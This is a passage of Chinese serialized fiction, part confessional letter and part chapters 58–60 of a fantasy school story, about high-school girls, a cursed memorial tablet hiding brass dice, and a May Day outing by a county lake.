你在重点班,这让我难过又高兴。我知道你该在重点班,但是我又很想和你坐在同一个教室里。
有一件事,你应该也不记得了。但我永远记得。如果青春是一座花园,它将是我放在温室里,每天用喷壶和园艺剪小心照顾的一朵月季。
高中里,我在同班女生的影响下,知道了lo裙。多可爱呀,蛋糕一样的裙子,奶油裱花般的衣袖,和彩针糖般的发饰。我留了半年的头发,就是为了在暑假能借一借同学的裙子,去县里的公园湖边拍一组照片。
化妆和lo裙几乎拯救了我。我知道我不好看,皮肤发黄,脸蛋偏红,但是穿着lo裙可以名正言顺地P图。化妆更是令我安心,我在挑选化妆品的时候,我的皮肤不再是土黄色,而是暖黄皮,口红和眼影有专门的暖黄皮特供,我可以是美丽的,可爱的,这让我欣喜若狂。
我疯狂地购买化妆品和裙子,每每经过名创优品,朋友们给我挑选适合我的化妆品时,我都非常感动。你后来跟我说过,这是一种消费主义的营销策略,把人群细分,以便能挣更多钱。但是我难以自持地爱上这种装扮自己的感觉,似乎我在化妆、裙子和独特发型的衬托下,也能融入某个群体,成为其中不可或缺的一环。
同样拯救了我的还有文学。《人间失格》最流行,里面充满沮丧和严世的文字,对于我们来说是致命的吸引。那段时间,班里几乎所有男生女生都会摘一段它的节选放进朋友圈。
出于某种不可告人的心理,我特意避开了《人间失格》,专注去搜寻太宰治的其他书。他细腻的文笔,赤诚相待的态度,令我几乎有种禁忌的兴奋。仿佛某人在将自己最隐秘之处和盘托出。我把《女生徒》一读再读,心中居然羡慕起与他殉情的女读者。
因为他,我甚至加入了学生暗自组织的读书社。你也在其中。当你和他人意见相左,当你们产生争执,最后总会重归于好。我疑心这并非是你的健忘和对方的容忍,而是你令人动容的豁达。
“没关系。”你总说,“我不赞同你,和我喜欢你又不冲突。”
当你如此明确地表达善意之后,任何人都无法把目光集中在争辩上了。大家会忽然从立场中抽离,重新回到现实,面对着彼此熟悉的脸,心和心之间的距离重新拉近了。
你听说我喜欢太宰治,淡淡地笑了笑。
爱是蒙蔽。你这么对我说。
因为文学,我遇见了那家改变我生命的店铺。它坐落在县城一栋房屋的二楼。店铺展示牌和补习班、奶制品店、房产中介挂在一起。店里买许多耳钉、发饰、二手书,也卖我不认识的刀具、香水和钟表。贝壳风铃在狭小的窗前叮叮作响,一只肥胖的橘猫趴在门口的脚踏垫上。
我去那里淘二手老版的《晚年》,却在那里买到了那个玻璃瓶,店主说一百一卖给我,但是我要留下联系方式。
“等我有需要的那天,就叫你来办一件事。”
那个瓶子里的液体有浓烈的香气,我把它滴在锁骨上,家里的猫就会来蹭我,妈妈和爸爸就不会再吵架,他们面对我的时候,忽然拿出了最温柔的眼神。那是我第一次没有在餐桌上狼吞虎咽,急着回到房间。我打心底里希望时间慢一点,最好让这顿饭持续到世界的终结。
同学开始主动跟我搭话,老师开始偶尔提问我。这真是神奇的药水,童话里女巫的魔药也不过如此。
你也在魔药的香气中走来了。我鬼迷心窍的那天,想扎上双马尾走进教室的那天,想被女同学说可爱的那天,教导主任扯住了我的头发。他说我喷了香水,扎了古怪的发型。他站在走廊里,在来来往往的学生中拽着我的发尾,用恶毒的语言撕扯着我的心。
你走到我身边,没有认出我。只是问他:“扎个头发怎么了?”
你接着问:“不让啊?哦。”
你揽着我走了。
第二
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天,你扎上了很长很长的马尾,长得扫过自己的腰。你什么也没说,你只是留着它。教导主任来就装模作样地就拆下来,他一走你又捆上。学生们被你和教导主任的猫抓老鼠逗得哈哈大笑,只有我热泪盈眶。
魔药真是个神奇的东西。它把你也带来了。
我看着你的目光变多了,你就像一个永远讲不完的故事,我无法翻阅你的每一页,我只能用探究的目光,一遍一遍扫过你的背影。班里的男生暗地里骂你——原谅我的懦弱,我只会在心里偷偷反驳。但这种反驳令我暗自愉快,仿佛我和你有了一个共同的秘密。
高二的寒假里,店铺的主人找到了我。我要兑现那个承诺了,她给了我一个烧焦的牌位,让我将它带走,深深地藏起来。我照做了。同时,我仍然在在小心翼翼地用着那个玻璃瓶里的魔药。
那是一段多么好的时光。我和你在同一个兴趣班见面了。我们握了手,你知道了我的名字。我一想到你也如同我思索你一般思索着我,我就感到自己像一只充满气的气球般轻盈。
可是春天到了,杨絮漫天,过敏如同鬼魂一般缠着我。我什么也闻不到,我甚至忘记了给自己补一滴魔药。但你那一天还是站出来为我出头了。
一直到那瓶魔药不小心洒出来,全年级的人都忽然有了各种香气。你站在一班门口,对体育生的体味浑然不觉,我才知道,你从头到尾都没有被魔药吸引。
你不是被魔药操纵而来,你就是那样的人。
我知道你不把这些当回事。你无意中帮助过我许多,我相信这世上一定有更多人被你有意无意地帮助过。你像一个战士,一个勇者,不向任何人索求回报,你只是做着你觉得正确的事情。
我多么希望别人想到你就能想到我,你那矫健、迅捷的背影,能成为我的背影。为此,我愿意付出心力和手臂,只为能够将你的心掀开一角。你看过太宰治的《女生徒》吗?我觉得你一定看过。我就是那个希望王子看到的女学生,我在榕城的一个角落里过着自己的生活,渴望着你的到来能带给我希望和改变。
可你说出你不喜欢太宰治的一瞬间,我的心也碎裂了。在我心中燃起的火焰渐渐熄灭了,留下的只有黑色的呛人浓烟和橘色尘埃般的火星。
这就像是我向你窥探的一扇窗户被关上了,我用那一扇窗户,和你鱼传尺素驿寄梅花,但你经过它,没有认出它属于我,于是随手把它合上了。
你能明白吗?你能明白吗?我多希望你明白。
你看着我,渺远的眼睛又望向窗外空旷的碧空:“没事,你喜欢和我又没关系。”
似乎怕伤害到我,你又补充道:“我不喜欢他又不影响我喜欢你。”
后来这个牌位让我们进入了一个奇妙的世界。我不说,你一定知道是什么样的世界。
天呐,魔法和奇幻的世界是真的存在的。我的脚真的踏上过那样的土地。阵营、科技、幽灵和冒险,真的被我的眼睛收进脑海里。即使只有短短的一瞬,即使它在我的人生里占据了几亿分之一,我依然愿意把这段回忆珍藏。
魔法真的来了。它降临在我的身上,我曾有一刻被那样的奇遇眷顾。我完全为之着迷了,你就是有如此的魔力,把一切都引入不可思议的章节。
从那里离开后,我完全地沉浸在梦幻的弧光里。你最后的稿子说了什么,我一个字都没有听进去。我满心都是幸福,那一刻我在想,即使我此生都要在尖刀上行走,即使我立刻变成泡沫,我也绝对会欣然同意。
接下来,我要说一些让我难过的事:在那之后,我对你的崇拜消退了。待在你身边,让我本能地感到不适。你像一把钥匙,打开了仙境的门,而我是落进地洞的爱丽丝。但在门后的世界里,我几乎不会再想起你了。
也许我对你的憧憬只是少女时代的迷茫,就像我曾狂热地爱着化妆,后来又着迷地爱着太宰治。若我是一串珍珠项链,你和它们都只是数十颗珍珠里的一枚。
这让我十分恐惧,也许,我如今的一切都是无用的。“很快,我们就将成长为大人,那样我们今天的苦恼、孤寂就会变得毫无价值,变成笑料”,太宰治写过这样的话——不对,是明淑,明淑写过这样的话。等到我成为大人的那一天,也会对如今的我嗤之以鼻吗?我如今这份复杂难解,令我泪流满面的感情,也会是一份笑谈吗?
我不知道,但是无论我的心如何变化,我都会紧紧攥着这份独一无二的回忆。在我跌倒,在我迷茫,在我夜晚流泪时,我将会回想起黄铜骰子、庞大架空建筑、幽灵般的电光和梦里奇妙的歌声。
它们会成为我的船,载我渡过狂风大作的夜之海。因为有它们,我不再是个默默无声的人,我不用迷恋旁人的强大,不用把我的背影和别人的合二为一。
这伟大的冒险我已拥有了,因为它来了,我不再是等待的少女。
我会保守这份秘密,就像蚌壳咬紧珍珠。在我彻底遗忘今日的我之前,在我彻底变节之前,我将三缄其口。
感谢你的出手相助。
感谢你打开了那扇门。
58.存活千年
五一五天乐,在不明力量的压制下,五天乐变成了三天不乐。全校学生纷纷造谣,说这是退休小卖部阿姨的冤魂在报复。
“小卖部阿姨真的退休了吗?”刘征兰依依不舍,“我真的很需要她。”
康烁影对着小镜子补润唇膏:“真的呀。我们的校长才来一年,他手下的老师都是二十几年的老教师。为了不得罪老师和关系户们,他肯定要把小卖部给器材室老师让出来呀。”
“他为什么要从县里来榕城?”
康烁影抬眼,从镜子上面看着她,微微一笑:“因为那边自杀率太高了,连校长都受不了了。”
“我没转来之前,高一上半学期不是也跳了一个吗?”
康烁影颔首:“正是如此,这是所有学校的保留项目。”
“要不我们还是退学吧。”
康烁影终于放下小镜子,眼睛直直望着她,捂嘴作震惊状:“你认真的吗?”
……她不是认真的。正如地狱笑话大师、不愿意透露姓名的Il格式的某女子所说:割了?嗯。跳了?哦。退了?啊?!
这段话用简洁的语言,极大的信息量和充满戏剧性的标点符合传达了某种精神,至今还作为学生们的精神图腾,代代传颂。其中的含义不言而喻,震撼人心。
五一前最后一节课是物理,物理老师在上面放视频,给她们展示留声机的工作原理。用的是史前老视频,感觉元谋人学物理都看的是这一个版本。刘征兰在底下数秒,脚尖冲着门外蠢蠢欲动,康烁影更夸张,她已经神不知鬼不觉地离开椅子,悬空而坐,随时准备冲出教室。
下课铃打响,两人冲进女厕所,和保洁宋玉芳碰头。
“阿姨好。”刘征兰规矩鞠躬,“您还能联系到您那个做法事的朋友吗?”
康烁影在旁边紧扣双手,作出一副“求求你了”的可怜表情:“就是那个桥牌王。”
宋玉芳放下拖把,轻轻巧巧地说:“哦,她在看守所。”
两人一阵沉默。
“……什么?”康烁影艰难发问,“呃,我是说,呃,为什么?”
宋玉芳迷茫地抬头,和二人对视:“她跳大神搞诈骗啊。”
对哦。她诈骗姐姐来着。
法律的突然降临让两人有些恍惚。没想到这个充斥着科幻、冒险和日常小故事的高二还有法律相关形象参与。
哦不对,还有一个,那个离家出走了。
宋玉芳脱掉手套,一边洗手一边唠唠叨叨地教育两人:“闺女们我跟你们说吼,这种东西都是假的,不要信!美好的生活,是我们用双手创造的。要是真有那种做个法就成的事,还打什么仗啊!”
整天被康烁影,柳令全和张晓怡灌输一些塔罗牌、星座、命理学的刘征兰频频点头:“您说的太对了。”
康烁影毫不心虚地点头:“您说的太对了!”
她知道阿姨说的对,她也知道刘征兰在说自己。但是她和刘征兰关系亲密,深知她只是不喜欢玄学,并非在攻击自己。所以十分坦然。
宋玉芳甩甩手,把拖把放在矮水槽里冲洗:“你们也被她骗了?是盗版光碟还是盗版海报?那些事有点久远了,告状有点难。”
忽略说成告状的起诉,康烁影好言好语:“阿姨,我们是来问别的事情的。她家里有个牌位被我们捡到了,您要是能去探视,能不能问问她那个是哪里买的?”
“哦那个。”宋玉芳直起腰,“我知道。打牌的时候她说过,说是别人送的。”
康烁影殷勤地上前拿过她的拖把,开始墩地:“是谁送的?”
宋玉芳又开始洗抹布:“她一直在县里一家啥都卖的杂货店里进货,蜡烛啊红纸啊街头话术一百条啊什么的,都是在那边买的。老板是个小闺女,她说把这个牌位拿回家,买东西就打五折。”
“哦哦,原来如此。”刘征兰站着不动,“那她就没有怀疑?”
“有啊。但是老板说那是个诅咒牌位,拿到了就会产生幻觉,总是被退回来。孙家二为了打折,不管不顾拿回来了。”保洁阿姨开始擦水龙头。
刘征兰很没眼力见儿地往旁边让了一下,给宋玉芳留出足够的位置。康烁影恨铁不成钢地冲上去抢过宋玉芳手里的抹布,帮她擦水龙头:“那孙阿姨产生幻觉了吗?”
“她说有。但她为了省钱啥都不怕,一有幻觉就躺下睡觉,别说,睡眠质量还变好了。”
……怎么说呢。很难说这是金钱的力量还是贪小便宜的力量。
“没别的了。宋阿姨,如果孙阿姨如果出来了,能不能跟我们说一声?我们想知道她在哪买的。”
“行。我帮你们记着。”宋玉芳从保洁服里一顿翻找,找出一个小小记事本和一根铅笔头,“找孙家二问问,她在哪里买的牌位。好记性不如烂笔头,这下绝对不会忘了!”
康烁影一面笑容满面地和她道别,一面暗地里敲刘征兰后背。
刘征兰很不理解:我又做错了?
此时此刻的四班,颜阎虔诚地单膝跪地,从姐姐手里接过一整板78%浓度的黑巧克力。
“多谢姐姐。姐姐顶天立地足智多谋才思敏捷博学多才。”她顺溜地说着吉祥话,“敢问姐姐今日缘何龙颜大悦?”
姐姐抛弃了红绳系列产品,整个人从死气沉沉变得风度翩翩。见颜阎跪奏,手腕随意一挥:“讨厌的人进局子了,高兴。随手赏了。”
“谢姐隆恩!”颜阎迈着小碎步下去了。
颜阎下课醒着,多少是五一将近的功劳。不然姐姐只能把巧克力塞她书包里了。
五一假期有好几摞试卷和一大堆补习班,基本没有时间出门。整个假期最大的事情是,律易棋把牌位的扫描结果拿出来了。
“椴木做的。压根不是那种正经牌位,更像是一块涂装后的木雕。”律易棋说,“不是什么特别好的木头。”
“就没了?”颜阎左手拎着作业,右手拎着选修课本,背上还背着可以压爆体重秤的书包,放学后跋山涉水赶过来,结果就得到了这个消息,“没有其他消息?”
“有。”律易棋把牌位推出来,“这个对你们很重要吗?”
“完全不重要!”擦了一排水龙头的康烁影神情开朗,“我愿意卖给收垃圾的!”
律易棋朝她们笑了笑,握住牌位的两端,手腕略微用力,牌位便断成两截。他把底座上面多余的部分也掰掉,然后将仅剩的底座一半悬空一半压在柜台上,立掌为刃,侧劈而下。
底座断作两段,压在桌上的那一段的截面里隐隐露出一个盒子。
盒子的表面已经明显褪色,几乎看不出原本的色彩,上面有一层薄薄的泥土,重量上来看似乎是金属制的。
颜阎盯着那个盒子的侧面,总感觉在哪里见过。
律易棋从柜台下面翻出一把高速震动刀,把木料切开,彻底拿出那个盒子。此时能隐约看出它原本是鲜艳的红色。
颜阎的头脑风暴还没结束,刘征兰倒想起来了。
“我们跑团的时候,你物品栏里那个红色的盒子。”
康烁影对着颜阎做法:“想起来,想起来。”
律易棋给她们展示那个盒子。盒子几乎严丝合缝,找不到任何锁的痕迹,只有一面有个凹陷圆坑,不知道具体用
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处。
“X光照不透,里面好像有机关。你们知道怎么开吗?”
……显然没人知道。康烁影说哪儿那么多事儿,摔了一了百了。律易棋说能摔我早给你摔了,这不是怕盒子本体就是什么线索道具吗!
整个盒子上最奇怪的只有那个凹槽。凹槽的设计很精巧,它甚至不是一个纯粹掏空的小洞,而是一个平整的表面缓缓向下倾斜,延伸出一个形似椭圆的形状,倾斜到一定程度又以一个圆润光滑的弧度拱起来,重新和平面齐平。说实话,感觉很符合人体工学,希望所有学校桌椅都能学习。
律易棋看了看。
律易棋想了想。
律易棋屈起手指,把凸起的指骨伸进凹槽里。
几乎合适。
“哦————!”三人鼓掌,“太棒啦!”
“一般一般,也就宇宙前几的水平。”律易棋到处谢幕,被康烁影瞪了一眼之后假装若无其事地支楞起来,“让我猜猜这个东西是怎么工作的。”
他当然想不出来。
四个人轮流把手指放进去。都是差不多,难说完全匹配,但也没有大错特错的感觉。康烁影气得疯狂用手指砸它。
“要不切开吧。”律易棋收回刚才的大话,“我实在很想知道里面是什么。”
“切!为什么不切!切成两半!”
律易棋去找水切割机,刘征兰说你那个仓库里到底装着什么,怎么感觉里面什么都有。
这时候,盒子里发出了奇妙的响声。
刷刷刷,刷刷刷,仿佛什么在倒退。
滋滋滋,滋滋滋,仿佛什么在摩擦。
这个声音……有点像……物理课上讲过的留声机?
刘征兰把手指嵌进那个凹槽里,又敲了两下,然后静静等待,果真听到里面金属摩擦的滋滋声。
“有什么办法打开它吗?”
“……感觉很难啊。”
“但是都留声机了……”
康烁影福至心灵:“那首歌!科黛最后唱的那首歌!”
另外两个人也回忆起来,毕竟整个跑团故事里只有这首歌和声音有关。
正在她们准备庆祝之际,颜阎忽然道:“还记得它怎么唱吗?”
康烁影:“……我记得重复最多的那几句。”
刘征兰仰头吹口哨,一看就不记得。
“那就,呃……”康烁影苦思冥想,最后试探性地把手指嵌进凹槽里,“试试敲那句?”
康烁影拼命寻找节奏和旋律。此时兴趣班终于派上了用场,虽然双方语言不同,但她还是找准了歌词和音符的位置,轻轻哼起来:“我们不会把彼此遗忘……我们不会把彼此遗忘……”
她的手指顺着歌词的节奏敲出了架子鼓手的气势。盒子沉默数秒后,“咔嚓”,打开了。
里面是一排黄铜骰子骰子,和她们在真人跑团里玩的一样。七颗,正好一套。
律易棋把水切割机踹回去,三两下跑过来,对着这一排骰子看了看,然后说:“还真是百分百纯跑团!”
刘征兰不解:“那它为什么会在牌位里?”
“不我觉得真正的问题是,它为什么会在树里……”
律易棋说:“唐捐死了几千年了。一个包含她的真人跑团倒是很容易做到,但这东西怎么都不该在这里出现……”
他一顿。
颜阎和刘征兰对他点点头,两人成天看星际文明的都市传说和工具书,对历史人物已经有一点了解,知道他最后要说什么。
“准确来说,唐捐没有确认死亡。”律易棋面色凝重,“她最后失踪了。”
59.流星来的那一夜
“你说,活了几千年是什么感觉?”颜阎问。
律易棋狂蹬小鸭子脚踏船,企图跟隔壁抢了他小羊船的一家人一较高下:“这个,我也不知道,我才六十岁。”
刘征兰显得心事重重,一直盯着水面上的水黾碎碎念:“水黾啊水黾,为什么我是人类而你是水黾,为什么我要思考而你无需如此。我要如何摆脱人类的困境。”
康烁影在玩水和拍照,她选了好几个角度都不出片,很难放在九宫格当c位,目前在跟手机摄像头发脾气。
牌位里的一套骰子经过了检查,发现里面是一个简单的虚拟造景技术,其中包含了好几套情景,每个对应着一个模组。
可这个造景技术很古老,对于律易棋来说太古老了。它甚至不是编辑场景再呈现,而是录制场景。也就是说她们经历的这些,很有可能是别人经历过的。
这个别人自然就是唐捐和她的朋友们。
那这个东西是如何流落到地球的?唐捐的尸体去了哪里?或者说,她真的死了吗……
“我才不活几千年。我活十七年就开始烦了。”颜阎凝视着水面的倒影,依稀能看见水下绿意盎然的沉水植物,“山水不过是自然的堆砌,社会不过是人的堆砌。本质上没什么区别,更没有意义。几千年重复观赏这样的景象也太无趣了。”
“你这种虚无主义就太可怕了。有些人生怕自己的命不够长,做不了那么多事,有些人拼命延长寿命,就为了享受人生中小小的感动。”律易棋还在蹬船。他看起来完全不像一个果决的社会活动家,更不像上过战场的人。仿佛他是一个刚从学校毕业的小伙子,心中充满了希望和愉快。
这种乐观主义的说教让颜阎打心底里恶心。
“我不喜欢。”颜阎如同预言家般,给生命判了死刑。生命说呸,谁理你啊!
这是五一的第一天,趁着家长还在心疼她们平日的努力,三人约上律易棋出门玩。商场康烁影闭着眼睛都能摸清楚,游乐园又全是那种古老设施和十二岁以下的小孩。最后四个人挑了县城里的公园,像老年人一样遛弯唠嗑。
公园地处县城的城郊,对的我们县城也是有城郊的。以流星湖为中心建造,环境还算优美。本来计划建造的小区坐落在不远处,蒙着安全网,依稀可见脚手架的未完成楼房,大家都猜测,它们在五十年之内很难被完成了。
公园外最近的建筑是一栋医院。住院部的窗户正对着湖面,相信夜晚的湖面会倒映着夜空宁静的盛容,公园里的长耳鸮将唤起病人童年的钟声。
坐船纯粹是个意外,归根结底是刘征兰站在那里,完全不受美景的诱惑。她神情恍惚,看着天空里的风筝,草地上的皮球,面前飘过的泡泡……
泡泡?薄膜干涉。薄膜干涉几分来着?啊月考薄膜干涉看错题了……薄膜干涉的运用……德尔塔,拉姆达,干涉条纹平行且等距……
忍无可忍的康烁影一把捂住她的嘴,律易棋慌不择路将她拖上小羊船,却被一家人捷足先登,只能屈尊登上更脏更破的小鸭子船。
“如果唐捐几千岁了还活着,那我们怕是已经卷入什么千年秘密了。下面就要辍学回家穷困潦倒,又突然被星际组织抓走说我们有巴拉巴拉基因适合,必须由我们继承刻石人了。”刘征兰顶着两个黑眼圈,倒在靠背上,思考可能到来的未来让她彻夜无眠。
她的诉求只有一个:“我不想当领导!”
“当领导还不好?”康烁影百忙之中抬起头,“等我当上了领导,就让校领导每天跑五个八百米,再把我担空运过来当我男宠,然后天天吃香喝辣寿终正寝。”
律易棋和刘征兰异口同声:“至少你绝对不能当领导。”
实际上刻石人有自己的领导,而且内部有着严格的选拔制度。突然当上刻石人领导的可能性就像突然竞选上美国总统一样低。
而且,律易棋不觉得唐捐还活着。他倾向于这是一份保存完好的宝贵资料。
“以人类的寿命来说,活上千年还是有点恐怖的。除非做义肢移植。”律易棋不再蹬踏板,而是把手放进水里,开始和康烁影互相泼,两个人都很有分寸,只泼到彼此手上,“曾经有一个时代叫废墟时代,因为资本主义的过度扩张,再加上人类地位的低下,人类必须要改装机械义肢才能提高工作效率。”
“后来呢?人们机械飞升了吗?”刘征兰追问。
“没有,人类平均寿命反而下降了。排异反应什么的。”律易棋说,“后来人类地位提升,法律也出台了一系列限制资本主义的条目,目前不允许医疗手段之外的义肢改造。”
“那弃首怎么回事?”
律易棋神秘一笑,不说人话:“挑战不可能。”
康烁影泼到他袖子上以示报复。
从船上下来,应颜阎的无理取闹,几个人又去租广场上的玩具车玩。刘征兰死也不玩,她觉得太丢人了。颜阎提出了玩车又不想蹬。于是康烁影和律易棋手心手背,瓜分了这俩人。
刘征兰被律易棋挤得没处坐:“不是,朋友。你不能缩小一点吗?”
律易棋面上云淡风轻,实则暗地里和康烁影赛跑:“我也很无奈朋友,折射影像只改变视觉效果,又不能改变我的实际体型。要不我们各缩一步。”
“怎么缩?”
“你到底在烦什么跟我说说,我开导一下看看效果。”
刘征兰沉默下去。
律易棋等待着她的回应。
刘征兰深吸一口气,轻轻开口:“你不会在玩说和缩的谐音梗吧?太烂了有点。”
被揭穿了的律易棋脸色一变:“知道就不要说出来,用你们的语言玩谐音梗很难的!”
“我想说的时候早晚会跟你说的。不着急。”刘征兰从车里爬出来,等着律易棋把车停在租车处,然后友善地拍拍他手臂,“我尽量及时向你们求助。”
康烁影和颜阎在玩具车欢快的音乐里摇头晃脑地发癫。广场的另一头,阿姨们用音响放着广场舞音乐,于是两个人来疯又在荷塘月色的节奏里做作地跳华尔兹。
原地旋了一会儿,颜阎体力耗尽。康烁影来拉刘征兰跳,刘征兰象征性
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地转了几下就坐下了。康烁影又陶醉地拉过律易棋跳。看得出来繁重的学业终于把她逼疯了。
颜阎在一边举着康烁影的手机,边拍照边乐。事后检查到许多糊掉的照片和视频,里面全是她的狂笑。
讲道理,感觉就着广场舞阿姨们的音乐跳华尔兹怪可怜的,但县城就是如此,没什么好玩的。康烁影能在这种乏味里充分发挥主观能动性,从生活的细节里挖掘一些自我安慰的感动时刻,的确是一种超凡脱俗的能力。非常适合活着。
颜阎坐在面向湖边的长椅上,在校服外套里进行了一番深度搜寻,翻出一颗郁霖雨赠送的话梅糖。
刘征兰瘫在座椅上,面对湖畔边竖起的“禁止游泳”,“水深危险”,“我在流星湖很想你”众多牌子,冷不丁地问:“你觉得世界上有多少个湖叫流星湖?”
颜阎含着糖块,含含糊糊道:“感觉全世界至少有几千个。”
“一点儿新意没有,纯复制粘贴。”
“世界上还有无数个咱们这样的普通人住在普通县城呢。”
“至少没有天降领导给我们当。权力伴随责任,我不想承担责任。”
“而且领导太可怕了,每一次决定都代表着某种一大群人,世界上没有十全十美的解决方案,所以也不存在完美的领导。但凡成为领导就必然会牺牲别人。”
“……更不想当领导了。我还是当千千万万的普通人吧。”
“我们也还是住在普通县城看普通流星湖当普通人吧。”
“离普通还是有一点差别的。”跳完舞回来大汗淋漓的康烁影挤在两个人中间,伸手管颜阎要糖吃,“咱们这儿真有过流星,肉眼可见的。厉害吧!”
刘征兰断言:“都市传说。”
“真的哦。”被颜阎拍下手掌的康烁影神秘一笑,“你猜我为什么叫这个名字?”
律易棋心中一动,默默停在长椅旁边听着。
爬行文明很容易把水蒸气对天外来物形成的透镜现象认作流星。而智能体的投放必然需要进入大气层。
康烁影难道……
“为什么?”颜阎配合她,“难不成你出生就要当影视明星?”
“明星多累啊。我要当富贵闲人。”康烁影高深莫测地站起身,拎着不存在的裙摆,在流星湖前微微欠身,“我,是伴随着流星出生的。”
刘征兰跟律易棋和颜阎说小话:“你们猜这一段够影视工厂剪几个预告片?”
颜阎:“我猜仨。”
律易棋:“我猜五个。”
康烁影拼命挥手:“看我呀看我呀!这次是真的!我是三月二十日出生的,当天晚上真的有流星!这天全县就两个孩子,一个体弱到被扔垃圾桶。而我,出生就七斤一两,健康强壮,白白胖胖!全医院的希望!”
另外两人敷衍鼓掌:“希望!”“希望!”
十七年前的三月二十日……
律易棋暗自记下这个日期。
十七年前,偃的确向地球投放过智能体。
可是,不在三月二十啊。
60.人成各,今非昨
五一五一悄悄过去留下小秘密,救救命救救命不想去学习。
跑完四圈累死累活地爬回来,颜阎倒头就睡。
自从往身上洒了一点不斜之后,全班女生和她都产生了一种微妙的隔阂,连康烁影跑过来捶她一拳的频率都变高了。
“对不起。”她说,“就是忍不住啊!”
全世界对她态度不变的只有妈妈和刘征兰。妈妈不用说,要是妈妈也嫌弃她,她将大哭大闹直到妈妈过来哄她。
而刘征兰和她毕竟不同班,平时用网络交流居多,两个人的聊天频率没有任何改变。至少不斜不会通过网线传播。
被同班女生所嫌弃后,她没办法到处游走讨要零食,娱乐项目只剩下做梦。梦里脑子在开大会。代表责任心的主持人颜阎说:“我们要好好学习,天天向上。这样浪费时间,我们是考不上大学的。”
虚无主义颜阎精神焕发:“考上大学又有什么用呢。考上大学就会获得幸福吗?我幸福之后,他人的幸福又要如何保证呢?人生是没有意义的,生活其实是无尽的走低……”
享乐主义颜阎吃着酸菜炖粉条,面前放着游戏实况,笑滋滋地说:“我乐于挥霍的时间从来算不上是浪费。”
一个被关在笼子里,眼神发直的颜阎说:“要是不好好学习,妈妈就会难过。”
所有颜阎沉默。然后大家灰溜溜地从会议桌上跳下来,跑去各自的地方学习。只有笼子里的颜阎被落在原地,面对空荡荡的会议桌,不时发出诡异的冷笑。
她的自我劝学刚持续一两节课,上课铃打响,孔丘没有走进来,来的是脚下生风的马老师。
“同学们好!”
“老——师——好——”
马老师把头发一撩,用黑发卡“咔擦”卡住:“人民群众里有坏人啊!同学们!你们班主任的电动车坐垫承受不住诱惑,跟着别人跑啦!”
后排男生发出了猴子般的哄笑。
女生没有笑,她们保存体力,隐约觉得有社么更大的事等着她们。
“我就上去抓着自行车坐垫问。”马老师把手揣在兜里,“你干什么要跑哇?”
她自己转了个方向。同时从口袋里掏出一只肥硕的鼹鼠,开始假装鼹鼠是自行车坐垫,并给它配音:“自行车坐垫说:‘呸!有荣华富贵我不跑,谁要跟着工资就那么一点点的老师干啊!没有利益的劳务关系,就像一盘散沙!’”
爆笑声四起,外班同学频频探头偷看。
马老师又掏出另一只鼹鼠假装自己,它灰灰的,颜阎一眼认出是智神:“我就问电动车坐垫:‘你说荣华富贵,究竟是谁许给了你荣华富贵呀?是马云,比尔盖茨,还是彩票公司?’它跟我说:‘都不是,是一个高中生,ta把我卸下来说要和我双宿双飞,结果把我抛弃啦!我要去找ta赔钱,到时候我能敲诈一栋汤臣一品!嘎嘎嘎!’”
大家想起来了。好几章之前的事了,好像是卫絮事变的那天,大家提了一嘴皇后卸掉了班主任的电动车后座来着。
纯粹是出于手贱的皇后——也就是开学内涵过颜阎的前桌,开始仰望窗外湛蓝的天空。
被马老师折腾过一阵的智神和婚神躺在讲台上,累得双脚翘起,气喘吁吁。坐在最前面那一排的人疯狂伸手想要摸它们
颜阎觉得鼹鼠大姐应该是去小花园站岗了,不然肯定会来凑热闹
“总之,你们老师的小电驴抛锚了。她顺势请假,今天上午就不来咯!”马老师把两只小鼹鼠揣回兜里:“行了,月考好好考。考好了我拿过来给你们摸一个课间。”
“哦哦哦哦哦!”大部分的人都鼓起了掌。
马老师笑嘻嘻地问:“下面我们干什么呀?”
大家顿时萎靡不振:“讲——课——”
“不。”马老师拖长声音,钓足了学生胃口,“这节课我是代课,不是换课。所以大家——来看电影吧!”
“啊啊啊啊啊啊啊!”这次真的是全体欢呼。女生们积攒已久的预感骤然爆发,教室里沸反盈天。马老师轻轻哼笑,伸手往下一压,整个教室顿时鸦雀无声。
“小声点,别让其他老师发现了。”她揣着两只鼹鼠走了,“班长,放个电影。别放恐怖电影,下课就停哈,别被发现了。”
四班所有人原地变身卓别林,开始和身边人击掌、握手、互相摔跤,以默剧的形式表达着自己的狂喜。班长和信息课代表挤在讲堂上,猜拳决定放《惊天魔盗团》还是《头脑特工队》。
下一节课还是自习,虽然马老师说下课就停,但她可没说自习课不能继续。这么一算,今天上午有两节电影课。
颜阎立刻喜滋滋地从桌洞里翻出矩阵学院借来的《空想文明传说大全》,跟窗边同学换了个座位:还是下午再努力吧!
如果她稍微从自己的世界出来一下,愿意把目光放到现实,就会发现很多小细节。比如班长今天穿了几千块钱的乔丹正代,罗塞塔穿了一双两脚花色不一但同样昂贵的球鞋,这两位男子引导着班里的流行风向。由于他们喜欢听英语歌,班里男生便以英文歌为荣,未来即将被揭露的最终关系户:小关系先生,为了讨好他们并拿到他们的课堂笔记,不惜熬夜狂学英语歌。
两人不同款式的鞋子象征着男生团体的两个流行极端,虽然二人共同临朝,但暗地里有着诸多不合。除了两个重点班共有的男子大群外,两人各自的党羽还有一个小群,最近底层冲突不断,但两人依然维持着表面的和谐。罗塞塔失去了二班的键政大将奥巴拿拿,最近功力大损,正在养精蓄锐。所以班长派暂时占据上方。
而颜阎对男生群体的腥风血雨一无所知,她只是埋头读书。顺便给挤出走道推门而出的皇后让了个位子。
皇后,该称呼并不完全来自颜阎,而是全班女生共同筛选的结果。
她的全程本是理科女王。她的总成绩并不特别突出,理科上也有商博良、北极兔、罗塞塔和公海组合联合压制,但她偏科严重,语文次次擦边及格,英语从来上不了台面,理科成绩却足以和第一考场的学生扳手腕。
当你普通偏科,没有人会记住你。可当你偏得惊天地泣鬼神,文理老师会为了你退不退学打起来的时候,你就是一个传奇。理科女王如是诞生。
那么为什么是皇后呢?因为此人……嗯……对男性略有偏心。
当她口中再次冒出种种经典隐性歧视语言后,颜阎拍桌大叫:“这当不了女王,只能当皇后啊!”
众女纷纷点头,“皇后”一名由此而来。
皇后此番出门是为了一番大事业。她暗地里与班长搞暧昧,实则假借友情之名组建学习互助小组,神不知鬼不觉盗取物理真题,事成之后便收手,坚称二人“只是朋友”。如今她出门,就是为了潜入文印室,打印真题,然后偷偷努力惊艳所有人。
